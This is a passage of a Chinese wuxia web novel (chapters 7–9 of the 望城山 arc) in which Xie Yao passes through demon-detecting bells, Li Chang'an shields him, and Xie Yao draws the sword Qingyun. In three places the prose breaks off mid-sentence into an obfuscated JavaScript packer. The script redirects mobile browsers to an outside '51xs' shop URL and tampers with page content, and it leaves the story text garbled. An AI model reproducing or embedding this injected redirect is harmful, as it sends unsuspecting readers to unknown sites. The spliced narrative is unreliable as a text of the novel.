谢夭道:“那现在还怀疑吗?” 李长安点头。 谢夭淡淡地说了一声“好”,说完,又道:“如此……是为了给你师父报仇?” 李长安抿了抿嘴唇,别过头:“不是因为他。” 谢夭笑道:“真的么?” 李长安不看他,催促道:“今日中午就能到望城,到时候你是不是桃花谷人,自然见分晓。” 说完,他自然地伸手想拉谢夭起来,谢夭抓住他胳膊站起来,有什么东西从他袖子里掉出来,李长安眼疾手快接住。 他看清东西的那刻,愣了一下,道:“这是什么?” 谢夭道:“送你的,按你的剑刻的,还没刻完。” 那是一柄小木剑,用上好桃花心木,这种木料不常见,昨日谢夭翻翻找找半天,原来就是在找它。 木剑完全按照青云的样子刻的,右下角刻着他名字,李长安。 —— 李长安还小的时候,出了名的犟,明明归云山庄有蒙童入门时练的木剑,却死也不肯要,无数次在青竹林里,瞪着系着红色发带的谢白衣,道:“我只要你的青云剑!别的剑我都不练!” 谢白衣道:“真难伺候。怎么就捡回来这么个破烂徒弟。” 他转身就走了,抛下李长安一个人待在青竹林,走两步,又把青云剑丢给他,头也不回道:“给你,你练去吧。” 李长安就这么艰难地拖着青云练了几天,山庄里的人都说谢白衣心大,这么一把宝剑就随随便便丢给了一个小孩。 不曾想过了几天,谢白衣拿回来一把木剑,亲手用桃花木雕的,除了青云剑上嵌着的宝石,其余花纹一模一样,堪称青云剑的缩小版。 他把木剑背在身后,弯腰,狡猾笑着问:“能用青云吗?” 那青云剑都快比人高了,小长安双手努力拎着剑,瞪着他:“我迟早能用的。” “那现在就乖乖听话。”谢白衣把木剑丢给他,手里一根竹子抬起他手腕,又轻敲了下他的肩,道,“拿好了,青云迟早是你的。” 李长安接过那木剑,正要丢到一边,却见跟青云一模一样,怔愣一下。 谢白衣笑道:“怎么,别的木剑不用?跟青云长得一样的木剑就用?” 小长安咕哝着:“反正我只要青云,木的青云也是青云。” 那是李长安入门的第一把剑。 那木剑剑柄上,左下角刻着青云,右下角刻着长安。 7. 望城山(四) 谢夭低头看李长安神情,看他捏着那木剑不放手,甚为满意地勾起唇角一笑,心道小崽子还是这么好哄,又故意伸出手,道:“还没刻完,还我。” 李长安不松手,道:“你怎么知道青云长什么样?” 谢夭道:“这一路上你在我面前拔剑三次,拿剑指着我脖子一次,我拿命换来的,总该行了吧。”又伸出手,道:“还我,不想送了。” 李长安装没听见,道:“就这样吧,你这个手艺再往下刻也不像。几点了,再晚点要赶不上望城山午饭了。” 他在那边催促着快走,褚裕收拾昨晚上打的地铺,收拾得怨气几乎能从天灵盖溢出来,谢夭倒是心情很好。褚裕问道:“你身上不疼了?” 谢夭笑眯眯地:“疼死了。” 褚裕哼了一声,心道你就装吧,迟早把自己玩进去。 一刻钟后,房间空了,谢夭最后一个出门,细心地关上客栈门。过了一阵,李长安又火急火燎地冲进来,一把抓过放在床头的小木剑,又匆匆下楼。 兴许是他们早上耽搁了太久,一路上都没看到去望城山的人。从这里前往望城山道路开阔,都是漫漫土路,没什么林荫遮挡,大中午的烈日一照,当真有种青天白日,朗朗乾坤,任何邪祟都无所遁形的感觉。 已经能远远看见望城城门了,城门从东到西两百米,再往前延伸二十米,打满了高达三米的木柱子,柱子上挂满了通息铃,铃铛呈六角,上面刻着梵文,在太阳光底下,貌似还隐隐流动着金光。 除此之外,门口还守着不少人,身上都带着武器。 果真如芳落所说,守卫极严,固若金汤。 李长安走在前面,谢夭和褚裕跟在他身后,褚裕越走越慢,他望着那些通息铃有些发怵。他现在还没正式入魔教,没练什么魔教的功夫,虽然谢夭教了他内功,但那也是正经内功,听说名字叫什么清风吟,厉不厉害他不知道,反正是外面那些名门正派也会练的东西。 所以他过去通息铃是万万不会响的,只是他身边这位过去,通息铃响不响那就不一定了。 褚裕慢慢落到了最后,拽住谢夭袖子,低声道:“谷主,你头还疼么?” 不怪乎他这么问,问鹤先生之前就交代过,不要带着谷主去烧香拜佛,寺庙一定要少去。佛门法器还是有点辟邪功能的,即使现在隔着这么远,他也觉得谢夭现在一定不是很好受。 谢夭道:“不疼了。” 褚裕不相信问道:“真不疼?” 谢夭笑了:“怎么?想走?” 那一笑看得褚裕一个激灵,立刻灵台清明了,张嘴说起了正事:“咳,谷主,我的意思是要不我们还是别去了吧。那门口可是挂着那么多通息铃,万一响了全城都听得见,到时候跑都跑不掉。” 谢夭微笑望向前方,慢慢道:“那就不跑。” 褚裕噎了一下,心道不跑等死么?他连杀父之仇都没报。 谢夭拍了拍他肩膀,道:“万一真响了,你就去抱紧李少侠大腿,让他拿着通息铃围着你上上下下绕一圈,看铃铛响不响。” 褚裕吐了吐舌头,低声道:“得了吧,李长安不第一个弄死我就算好了。” 谢夭又笑了,这次是那种很开心的笑,褚裕也懵了一下,好像只有提到李长安的时候,谢夭会笑得这么真心。 谢夭乐乐呵呵道:“他人挺好的,肯定不会弄死你。” 褚裕心道这才认识几天,怎么就知道他人好?他这边还在腹诽,转眼就看见谢夭快步赶上了李长安,他无奈继续跟在后面,把身上外套脱下来,搭在头上挡中午的太阳。 谢夭赶到李长安身边,指着那些铃铛,明知故问道:“那是什么?” 李长安道:“通息铃。”想了想,又补充道,“魔道经过会响。” 谢夭笑道:“正好,过去了你就知道我是不是了。” 说完快步走去,这时李长安停下脚步,抿了下嘴唇,似是想说什么。 谢夭回头道:“怎么了?” 李长安看到路边一个草棚支起来的茶摊,道:“渴了,先喝口茶再走。” 三人在茶摊里坐下,店家捧上来三碗茶,说是茶,几乎就像是三碗水,只有碗底飘着一点细碎的茶叶碎。 李长安端起一碗,在那个瞬间从指尖撒下一点粉末,撒进茶碗里,又若无其事放在谢夭面前,接着又给褚裕端了一碗,最后给自己端了一碗。 他在谢夭那碗水里,下了涤尘散。 涤尘散对他们名门正派来说,是上等的补药,但对于魔教,涤尘二字,天然不是什么好字,这涤尘散,也与毒药无异。 他下的剂量虽小,但如果谢夭真是桃花谷人,也足够露出破绽了。 谢夭自然也看出来了,其实李长安动作已经足够快,表情足够天衣无缝,但还是被谢夭看出来了。原因无他,只因为李长安是他教的。 在他风头正盛的时候,总有人想毒他,后来谢夭觉得这是一个很好的教学机会,手把手教着李长安怎么下毒,又怎么防着被下毒。 后来练手的时候,他给李长安下过安眠药,最开始李长安都没发现,喝了就开始睡觉,当时谢白衣愁得蹲在床边,心道李长安出门绝对不能说是自己徒弟。 但如今李长安也会下毒了,手法跟他如出一辙。 谢夭看了看那碗茶水,被下过涤尘散的茶水依旧清澈见底,他抬头,问已经喝了水的李长安,道:“好喝吗?” 李长安道:“不好喝,没什么茶叶味。” 谢夭道:“我尝尝。” 谢夭正要端起水来喝,李长安忽然道:“……别喝了。” 抬眼,只见李长安眉头微微皱着,又冷着脸偏过头,叫来店家要一碗新的茶水。 谢夭看着看着忽然看笑了,道:“不用了,就这碗吧。” 李长安急着伸手,道:“等一下。”就见谢夭已经仰起脖子,一碗凉茶已经下去了一半,李长安看着谢夭滚动的喉结,心忽然就提了起来。 半晌,他才发现自己在紧张。 一碗凉茶下肚,因为通息铃而带来的头疼好转了一点,谢夭把碗放下,用手背擦了下嘴角,笑眯眯道:“怎么了?” 李长安看他还能说笑,心里稍微放松一点,又担心是因为时间太短,涤尘散没有起效,狐疑地盯了谢夭一会儿,见他还是笑眯眯的,没半点不舒服的样子,他终于松一口气,道:“没什么。” 谢夭斜斜睨他一眼,道:“李少侠,你不会下毒毒我吧?” 听到这话,褚裕心里一惊,他这碗水也是李长安递过来的,他立刻指着李长安鼻子骂“阴险”,又用手指去扣自己喉咙,一边干呕一边着急:“公子,快吐出来。” 李长安哼一声,端过谢夭的水碗,把里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711076|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面剩下的水一饮而尽:“没毒,你这不好好的。” 确实好好的。涤尘散对他没什么用,甚至还能帮他恢复一点体内元气。他之前到底也是天下第一,修得都是正道功法。 褚裕一边呕一边道:“我这还有一碗。” 李长安看他一眼,没接。 褚裕:“……” 褚裕心道绝对是给我下毒了,不然为什么不喝我这碗水,谷主还说这小子是好人,明明是大坏人!阴险又狡诈!他在一边呕得更厉害了。 心里一块大石头落地,李长安站起来,道:“走吧,进城。” 他一人走出凉亭,站在烈日之下,谢夭在他身后喊他,回头看见谢夭还在凳子上坐着,一只手支着头,歪头看他,眯着眼睛冲他笑,道:“李少侠,万一等会儿,铃铛真响了,你会怎么办?” 褚裕也不呕了,大气不敢喘地等着李长安回答。 李长安沉默着,看了谢夭好一会儿,甫一转身,道:“按归云山庄门规。” 褚裕奇怪地问:“归云山庄门规是什么?” 谢夭盯着李长安的背影,慢慢勾起唇角:“斩妖除魔,修身立命……” 距离城门越来越近,城门口的守卫都严阵以待地盯着他们几人,数着他们的步子,盯着他们进入搭出来的通息铃区域。 越来越近,越来越近,满目都是通息铃上流转的金色梵文。 最先进去的是李长安,然后是褚裕,通息铃纹丝不动。 最后是……谢夭。 虽说一路上已经经过了那么多试探,探出来谢夭没有武功,剑意感觉不到内息,涤尘散对他没用,但谢夭踏进通息铃阵的那一刻,李长安还是忍不住皱着眉头回头。 谢夭看他一眼,散漫地一只脚踏进来,通息铃没有响。又往里走了几步,通息铃仍然没有响。 整个望城城门安静地像是一片死域,只有风吹过黄沙的声音。 见通息铃没有一点要响的意思,李长安彻底放下心,转过身,唇角忍不住勾起来。 褚裕则兴奋地拉着谢夭袖子,低声道:“没有响!”又满脸鄙夷道:“说什么望城固若金汤,说什么桃花仙来望城必死,都他妈放屁,这不是就进来了?” 谢夭笑笑,看来这佛门法器也有不顶用的时候,一千八百只通息铃都探不出自己内息不对,极上寺的和尚梵文功底什么时候变得这么差了? 就在这时,他听见了一点极其细微的动静,像是风吹过铃铛。先是第一只,接着是第二只,第三只…… 谢夭几不可闻地叹口气,停下脚步,望向已经五米开外的李长安。 李长安也听见了铃铛声,肩膀都耸起来,手指不停地扣着自己手里的剑,却一直没有回头。 铃铛声越来越大,接着是一百只,一千只……一千八百只通息铃齐鸣,声音响彻天际,震得人耳膜嗡嗡作响。 城门口骚乱起来,明明铃铛声音那么响,但又感觉站在铃阵中的两人身处一片安静的死域。 在铃铛声中,谢夭望着他背影,带着歉意道:“抱歉啊,还是响了。” 李长安回头,道:“为什么?” 却在回头的那个瞬间愣了一下,那个瞬间,他好像看见了很多年前,桃花谷上,把青云抛给他就走了的人。 只见谢夭一人站在一千八百只嗡嗡作响的通息铃中,眯着眼睛冲他笑。 8. 望城山(四) 兴许是从来没有哪个大魔能同时惊动一千八百只通息铃,城门的人明显乱了阵脚,有人急匆匆让人回去给城中人传递消息,其余人都握紧了手里武器,却始终没有人敢冲上前。 在城门口,站着两个十三四岁的孩子,一男一女,一个名宋川,一个名宋溪,身上都穿着归云山庄的弟子服,手里握着剑。 宋溪冲李长安大喊道:“长安师兄!快过来!你身后那个人是坏人!” 那宋川也跟着她大喊:“师兄!我们已经去叫师伯了!” 他们师伯宋明赫,谢白衣的师兄,现任归云山庄庄主。如今正是归云山庄在望城内主持大局,除此之外还有极上寺佛门与忠义堂辅佐,各家都派出了不少人。 还有些闲散的江湖人,都来望城看热闹。 能惊动一千八百只通息铃的人,必定功力非凡,所以他们不敢轻易上前,都在这里等宋明赫过来,但即便是千仞剑宋明赫来了,说不定都得斟酌一番。 却见李长安始终站在通息铃阵中,片刻,竟然转身,不朝他们这边走,反而走向谢夭的方向。 宋溪立刻道:“师兄!你走反啦!” 宋川这时拉住宋溪的胳膊,嘘了一声,道:“师兄好像是要杀人!你看他手上的剑!” 只见李长安拇指抵住剑鞘,剑微微出鞘一寸,就已寒光流转,即使他们隔着这么远,甚至李长安还背对着他们,就已能感觉到一股扑面而来的寒霜气,真不愧为“一剑霜寒”,叫人不寒而栗。 众人也都看出来了李长安的意思,这是他带回来的人,理应由他自己解决。只是谁也想不到,就连城门口数十位前辈都不敢上,李长安一个十九岁的少年人,竟然如此果决。 想来也只有一个原因,他是谢白衣的徒弟。 人群之中,不止是谁振臂高呼了一句:“跟着小剑仙!斩妖除魔!” 而后群情激愤,城门几十人乱七八糟喊道:“杀了桃花仙,给剑仙谢白衣报仇!” 宋川扯了扯宋溪的袖子,豪气道:“师妹,我们也去!” 宋溪眨眨眼睛,道:“虽说他是魔道,但也不一定就是桃花仙呀。” 旁边一人笑呵呵的,慢慢道:“不重要,要他是他便是,要他不是他便不是。” 宋川道:“为了谢师伯!怎么也要去!” 一群人跟在李长安身后,虽是喊得群情激愤,但却始终没有人敢超过李长安的步子,似乎都在等李长安斩出这第一剑,等到一剑霜寒落下,才算冤有头债有主,他们这些人不过是附庸罢了。 但几十人黑压压过来,当真有大兵压境那意思。 谢夭却仿佛没看见李长安身后的那几十人,只静静地看着李长安,看他一步步逼近,手里的剑也出鞘越来越多。 噌一声,褚裕手里的短刀出鞘,站在谢夭身前,瞪着李长安。 谢夭轻轻叹口气,道:“褚裕,退回去。” 褚裕执拗道:“不退。” 褚裕刀一出鞘,后面一个老头公鸭嗓嚎了一声,又指着褚裕道:“果然,果然是魔教。” 谢夭闭上眼睛,头更疼了。 李长安在谢夭面前站定,在铃铛声中,问谢夭道:“你知道归云山庄门规吗?” 谢夭道:“知道,修身立命,斩妖除魔。” 李长安笑了,道:“这都知道?” 他看上去笑得放松,但大拇指一直顶在剑鞘边缘,只要稍微一用力,青云就会立马弹出来,下一刻就会用右手接住,接着使出第一式横劈。 这是谢白衣教他的,那个时候谢白衣经常用这一招耍帅。如果是谢白衣用这一招,要么是人头落地,要么就是在他身后,哗啦啦地落下桃花花瓣。 谢夭目光从他手指上收回,笑道:“百晓堂出身嘛,知道这个应该的。” 他当然不会说老庄主罚他抄过很多次门规,也不会说后山青崖石刻的“修身立命,斩妖除魔”八个朱砂大字,是他在老庄主监督之下亲手所刻。 李长安看着他,点点头道:“好,好。” 只见寒芒一闪。接着是青云剑出鞘的声音。 褚裕下意识闭上眼睛,谢夭却动也没动,只一伸手把褚裕捞回来,看到李长安做什么,心里一惊。 他看着青云出鞘,李长安右手接剑,又看他在那个瞬间转身面对身后众人,青云横劈,一道剑气刮起漫天黄沙,生生逼停了众人。 地上,一道泾渭分明的圆弧。 李长安出剑不是为了杀人,而是为了护人! 为了一个魔道,他竟然把剑尖指向了身后这群前辈! 这就乱了套了! 一群人被黄沙吹了满脸,激愤地站在分界线外。 “小剑仙!你这是做什么!”人群里有人指着李长安骂道。 “你可是归云山庄的少庄主,归云山庄历来受天下人敬仰,如今你身为少庄主,怎可做出此等欺师灭祖之事!” 宋溪问道:“长安师兄,你怎么啦?” 李长安站在谢夭前面,也站在圆弧的最顶端,收剑,冲身前众位作揖,道:“各位前辈,这位朋友与我一路同行,同吃同住,这其中一定有什么误会。” 这次轮到谢夭问“为什么”了。 李长安道:“你没有武功,我的剑意探不到你内力,涤尘散对你没有用,我不觉得你是。” 谢夭一笑:“李少侠,你这样的容易被骗身骗钱。” 李长安眉头一皱,道:“还没人骗过我钱。” 谢夭轻轻“啊”了一声。 李长安又咬牙切齿补充道:“身也没有。” 谢夭唇角笑意更深了。 这时人群中,有人道:“呸,能有什么误会!极上寺的东西什么时候出过错,这一千八百只通息铃还响着呢!” 谢夭问道:“你不信通息铃?” 李长安抿了抿嘴唇。 谢夭又问:“还是你太信我了?” 李长安没回头,沉沉道:“我只信我自己。” 这边僵持不下,通息铃已响了将近一刻钟,城里匆匆出来了一行人,宋溪眼尖,第一个看见,远远冲那一群人招手,喊道:“师伯!” 宋明赫和极上寺的本禅和尚站在城门。本禅和尚抬头,望着那一千八百只嗡嗡作响的通息铃,摇头叹道:“我还没见过如此场面,来人要么是魔、要么是仙哪!” 宋明赫隔着人群,远远望了被围在中间的那青衫男子一眼,只不过一眼,他眉头就皱了起来。 好巧不巧,那人抬头,恰好与宋明赫对上视线。那青衫男子对上自己视线后也不躲,就那样,弯着眼睛冲自己笑了一下。 这一眼之后,宋明赫倒吸一口凉气,太像了……实在太像了。 旁边人问道:“庄主,少庄主说是那人是他朋友,您看应该……” 宋明赫思索一番,一挥手,道:“先把人带进来。” 谢夭被人领着进了望城,等一行人到客栈的时候,城门口的通息铃终于安息下来。 宋明赫先是让下面人送吃食上来,然后转身对坐在床上的谢夭道:“小友,不必惊慌,既然长安说你不是桃花谷人,那你应该就不是桃花谷人。” 谢夭抬眸看向李长安,却见李长安抱着剑斜斜靠在门口,冷硬地别过头,不看这边。 谢夭勾了下唇角。 宋明赫道:“让本禅大师给你把个脉,就知道为何这通息铃会响了。” 谢夭伸出右手,道:“多谢庄主,多谢大师。” 本禅和尚往前一步,伸出两指,搭上谢夭右手脉搏。 李长安想起那晚上剑意探到的谢夭经脉不对,眸光转到谢夭手腕上,他发现谢夭这人皮肤白得过分,太阳光底下一照就更白了。一转眼,注意到谢夭似有似无的视线,他又抱着剑,若无其事地把目光收回去了。 屋内一群人噤声屏息,就等着本禅和尚给出结论,到底是仙是魔还是妖,就看这老头子上下嘴皮子一碰了。 就在这时,门外风风火火闯进来一个姑娘,见到李长安先是喊了一声“师侄”,又直接闯进门,道:“庄主,怎么了?” 她转身看到坐在床上的谢夭时,心头一震,脱口而出道:“谢师兄?” 来人正是谢白衣的小师妹,李长安的小师姑,怀竹月。 怀竹月一句谢师兄,让本就安静的房间更静了,谢夭几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711077|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎觉得静地能听见自己脉搏了。屋内没有人说话,怀竹月揪着衣服下摆,似是也意识到自己认错了人,本禅和尚干脆把眼闭上了,宋明赫则一直盯着谢夭的脸。 至于谢白衣的徒弟…… 李长安脸更臭了,一言不发地看向门外。 谢夭笑道:“不知姑娘口中的谢师兄是……” 宋明赫终于开口:“谢白衣。这位是我师妹,也是谢白衣师妹,怀竹月。” 谢夭点点头:“原来如此。” 见事情过去了,本禅和尚终于把眼睁开,又把手放下来,捋了捋胡子,啧啧两声。 宋明赫急忙问道:“如何。” 本禅和尚缓缓道:“不是仙也不是魔,倒像是先天不足,跟普通人的经络不一样,不怪乎通息铃会响。” 其实有一点他也有点想不明白,除去经脉不同,也只不过是个普通人而已,怎么就惊动了一千八百只通息铃。 谢夭道:“我确实有先天不足之症,小时候父母怕我养不活,干脆把我丢了,幸好被好心的樵夫捡了回去才得以长大,只是这经络不一样,是指?” 本禅和尚道:“你身体里的经络,全是反的。怕是不能习武,搞不好,还容易有性命之忧。” 谢夭道:“本也就没习武的打算,习不习武不重要,能平安活着就好。” 本禅和尚一番话听得房间里沉重了许多,李长安明白为何他的剑意感觉到谢夭经脉不对了,他看向谢夭的脸,怎么都没办法跟他是个半残这件事联系起来。 本禅和尚叹了口气:“阿弥陀佛。”说完转身出去了。 宋明赫跟着本禅和尚出去,在房间外低声问道:“当真不是?” 本禅和尚道:“当真不是。庄主不信通息铃,也该信我。” 宋明赫又道:“没有半分武功?” 本禅和尚道:“他这个经脉如果有武功,只怕咱们看到的只能是死人了。” 宋明赫沉思着点点头,又转头进了房间。 他一进来便温和地冲谢夭笑了笑,拿了茶点递给谢夭,道:“小友不必太过挂怀,说是性命之忧,不一定是多久之后了。小友既是长安的朋友,可以来我归云山庄小住,我归云山庄有许多秘不外传的内功心法,说不定对小友身体有所助益。” 谢夭道:“庄主为何邀请我?” 宋明赫笑道:“实不相瞒,你与我师弟谢白衣有几分相像,你我也算是有缘。”他又朝李长安伸出手,道:“长安,青云。” 李长安立刻明白宋明赫想干什么,站直了一点,低声道:“师伯!” 怀竹月也压低声音道:“庄主,不可!” 宋明赫不理会二人,只闭上眼睛重复了一遍:“青云。” 李长安脸侧虎爪骨动了一下,无奈,走过去,把青云递到宋明赫手心里。 宋明赫接过青云,又立刻反手递到谢夭面前,道:“这便是谢白衣的剑,青云。” 谢夭道:“一路上见识过许多,名剑谱上的剑仙之剑。” 宋明赫道:“试一下?” 谢夭立刻道:“剑仙的剑怎么是我这种普通人能拿的?” 宋明赫道:“无妨。既是相像,便是有缘。” 他又把剑往前递了一点,那柄青云几乎就横在谢夭眼前,谢夭能看清剑柄上的墨竹花纹,墨绿色的丝线包边。 谢夭道:“那就冒犯了。”他双手接过,尊敬地放在膝盖之上,一手扶着剑柄,另一手轻轻抚过剑上精细花纹,赞叹道:“当真是把好剑。” 青云似乎也感应到了什么,剑身微微震动,几乎要自己冲出鞘来,谢夭表面抚过剑鞘上花纹,实则用内力把震颤不已的青云强压下来。 看着这把剑,谢夭在心里无声叹了口气,他知道青云有多想认主,但他现在必须让青云反抗自己。 宋明赫这时道:“拔一下试试?” 怀竹月道:“庄主!” 李长安自始自终没再看向这边,只是听到这话,没忍住磨了磨牙尖。 谢夭立刻停下抚剑的动作,道:“宋庄主,剑仙之剑,不敢僭越,这不合适。” 宋明赫只平静道:“拔剑。” 9. 望城山(五) 谢夭看看青云,又看看向他微微附身过来的宋明赫,片刻后垂眸笑了下,那一笑让宋明赫琢磨不出来什么意思,宋明赫还没反应过来,只见谢夭已经提着剑站起身,道:“多有得罪。” 说罢,双手握剑横于眼前,左手扶剑鞘,右手握剑柄,寒光一闪,剑刃抽出,只听铮然一声,右手顺势下劈,一代名剑自带的剑意和威严,生生激起了一层尘浪。 谢夭手握青云立于其间。 ——青云剑出,天下独步。 所有人瞠目结舌,青云剑被拔出的那一刻,房间里安静地像是一片死域,不知名的情绪在屋内涌动。 李长安眼睛亮了一瞬,一眨不眨地盯着谢夭,眼里有惊艳,还有一丝不可思议,他倒吸一口气道:“你……” 宋明赫看向谢夭,好似看到了谢白衣当年第一次入剑心冢,却只从剑心冢里挑出来了那时还是一把废剑的青云,他闭上眼,似是不愿再看,只喃喃道:“师弟。” 谢夭把剑提起,细细观摩上面的纹路,剑随人心,用剑的人变了,剑也会有所改变,他望着剑刃四溢的寒霜气,想起李长安,忽然有点难过,极轻地叹了口气,嘴上却道:“剑如其人,果真绝世无双。” 没人看见,他在低头刹那苦笑一下,手指抚过剑身之时,心中暗暗道:“青云,助我。” 接着便将内力注入青云剑。 他内力混杂不纯,与纯质的青云剑天然对冲。 众人只看见青云剧烈震颤,兀自弹开,震得谢夭右手手腕都生疼,眼见青云就要掉落地上,谢夭顾不得发麻的手腕,忙伸手去接,却见一只骨节分明的手握住剑柄,顺势收剑入鞘。 铮然一声,尘埃落定。 接剑之人,正是李长安。 谢夭捂住右手手腕,佯装不解道:“这是为何?” 李长安只道:“名剑认主。” 短短四个字,就已经把原因都说尽了。说白了就是谢夭不是青云之主,青云不认他,就算勉强拔了出来,青云还是要自动弹开,死也不肯在谢夭手里。 说完,李长安淡淡看向宋明赫和怀竹月,沉默着摇了摇头。 怀竹月看青云从谢夭手中脱手那一刻,眼神黯淡下来,道:“既然无事,庄主,我便上山继续巡查了。” 说罢行了个礼,出门而去。 宋明赫道:“今日是我归云山庄对不住小友,等会儿我让人送来补药,小友可在这暂住。” 说罢转身要走,李长安把人叫住,急问道:“师伯,松云剑之事如何了?” 宋明赫摆摆手,道:“你刚来,休息一晚,明日再上山细说。”说罢,又看了谢夭一眼,道:“小友若是愿意去,可与长安同往。” 谢夭垂下眸子,点点头。 一屋子人走了之后,褚裕长叹一声,一屁股坐到床边,恶狠狠道:“你们归云山庄挺欺负人的,都说了不拔不拔非得让拔。” 李长安抱剑,一言不发靠在门边,脸上表情还是很臭。 褚裕瞅着他表情,心道你还不爽上了,正打算开口骂人,谢夭一个糕点堵住了他的嘴,他呸呸呸两声,道:“难吃死了。” 李长安想了想,似乎也觉得自己这一顿火莫名其妙,想了半天,又冷又硬地开口了,道:“青云没被其他人碰过。” 这话说得,好像青云是什么黄花大闺女似的。 李长安又补充道:“是没被他人拔出来过。” 谢夭听了觉得有点好笑,道:“不是名剑认主吗?怎么你就能拔出来还不受反噬?” 李长安沉默了半晌。 是啊,他怎么就拔出来了呢?就算他一身内功心法,外门功夫都是谢白衣教的,与谢白衣内息有相似之处,那也不应该能拔出来剑仙的剑,否则整个归云山庄的人都可以到处换着剑玩了。 那就只有一种可能了,就是青云早就认两主了。不难想象,谢白衣按着青云剑身,苦头婆心道,我是你大主人,那是你小主人。青云不服,谢白衣就把青云打服。 青云是什么时候认的主?是在谢白衣前往桃花谷之前?还是在千金高台之上,抑或是早在小长安嚷嚷着只要青云的时候? 李长安回了句:“因为我是他徒弟。” 谢夭反问道:“谁徒弟?” 李长安心道你不知道吗,别过头,不耐烦道:“谢白衣。” 听完这句,谢夭短促笑了下,心情好了不少。褚裕道:“公子,你手腕红了。” 谢夭道:“可不嘛,被某剑仙剑给震的。” 李长安转过头,拧着眉头看谢夭手腕,只见谢夭左手还在不停揉捏着右手手腕,偶尔从指缝间,能看见手腕内侧的青紫伤痕,红的紫的和过于白的皮肤交汇在一起,看得让人心惊。 李长安不看他手,也不看他脸,眼神似乎不知道往哪放,只能看着空空的房间,大公无私道:“咳,你手……没事吧?” 谢夭摆摆手,道:“没事。”这下淤青彻底露出来了,青紫交错在白皙腕子上,谢夭意识到什么,左手又盖上自己手腕,啪一下声音脆响,谢夭呲牙咧嘴地又疼了一阵。 李长安眉头皱了一下,心道这人好像有点傻,嘴上道:“我下去给你找点跌打损伤药。” 李长安转身出门,又细心地带上房门。屋内,褚裕揉着谢夭手腕,见李长安走了,才敢问:“谷主,你真拿不了青云啊?” 要知道,谢夭可是桃花仙,随便捡起根破木棍都能当剑的主。在桃花谷里,无论主人是谁,所有剑都任他调遣,只要他想,随时可以在桃花谷上空布起一百零八道剑阵。 这天下没有他拔不出来的剑,也没有不想认他为主的剑。 谢夭看一眼他,道:“不是说了么?太重了,拿不动。” 褚裕道:“真的么?” 谢夭闭上眼睛,淡淡道:“真的。” 不过一会儿,李长安拿着一个精致的小瓶子上来,瓶身是特别漂亮的青瓷,看上去不像是从客栈伙计那随便找的跌打损伤药,反而像是江湖门派里才有的特制的药膏。 谢夭问道:“这是什么?” 李长安道:“楼下随便找的,红花油。” 谢夭心道红花油哪有用这种精致小瓷瓶装的,挑挑眉问道:“好用?” 李长安道:“好用。” 谢夭伸出手。 李长安没给他,把小罐子拍到桌子上,反而冲他伸出手,道:“十文。” 谢夭:“……” 到了望城,这下三个人不用挤同一间房子,三人各自收拾停当,前往望城山。望城山虽说是个山,但其实只能算个不高的荒坡,不然也不会没有正道名门驻扎,在这死了人还得归云山庄千里迢迢来着手调查。 宋明赫和怀竹月领着三个人上山,走到一个荒坡上,指着地上一个画出来的白色的人形,道:“这就是发现刘寒松尸体的地方。” 那人形附近都是桃花花瓣,不少花瓣因为风吹日晒已经发黄卷曲,几乎分辨不出原来的颜色和形状了。在那人形周围,不少树干上都有被打出来的小洞,洞里也藏着桃花花瓣。 谢夭看着这现场,忽然想笑,栽赃嫁祸他的人花了大功夫,不说其他,单就这个时节寻来许多花瓣就已不易。这现场,任谁看了都得说一句必定是桃花仙所为。 李长安道:“尸体呢?” 宋明赫道:“在山下的冰棺里存着。” 谢夭这时问道:“松云剑并非颍州人士,颍州望城也没有门派驻扎,更没有什么武林盛会,松云剑怎么会这个时候出现在望城呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711078|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 宋明赫深深看谢夭一眼,道:“你倒是懂得很。不错,颍州望城确实没什么江湖门派,松云剑来这也不是为了什么盛会,他是为了情人。” 谢夭道:“情人?” 宋明赫道:“据我们调查,他有个老相好,住在颍州。” 谢夭点点头。 为了情人没什么稀奇的,许多江湖人士名声大,天然受人青睐,又四处游历居无定所,有的甚至各州各处都有不同的情人。只是苦了那些苦苦等人的姑娘。 这时一个浑身是血的年轻人从山侧慌里慌张跑过来,脸色煞白,额头上都是冷汗,一刻不停对宋明赫汇报道:“西侧巡逻小队遇伏,五人全灭,现场都是桃花瓣。” 几人都是一震。 桃花仙还在这!甚至就在这望城山上! 褚裕瞪大眼睛看向谢夭,谢夭趁众人不注意,微微冲他摇了摇头。 装神弄鬼装到正主身上,谢夭觉得这件事越来越有趣了,就好像是对方知道他来了,故意在这个时候杀人。 宋明赫立刻道:“看清人了么?!” 年轻人嘴巴里开始溢出鲜血,他毫不在意地用手背抹掉,道:“只看清了人数,有两个人,一高一矮。不知道哪个是桃花仙。” 